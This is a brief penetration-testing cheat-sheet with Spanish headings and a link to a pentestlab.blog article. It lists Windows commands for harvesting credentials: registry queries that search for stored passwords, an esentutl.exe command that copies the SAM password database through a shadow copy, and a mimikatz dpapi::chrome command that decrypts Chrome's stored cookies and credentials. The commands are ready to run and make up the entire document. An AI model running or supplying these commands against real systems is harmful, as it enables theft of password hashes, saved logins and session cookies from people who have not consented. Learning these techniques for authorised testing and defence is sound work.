https://pentestlab.blog/2024/08/20/web-browser-stored-credentials/

Busqueda de creds en registry

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Dumping SAM via esentutl.exe

esentutl.exe /y /vss C:\Windows\System32\config\SAM /d c:\temp\sam

Credenciales en plano de chrome (SYSTEM)

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies”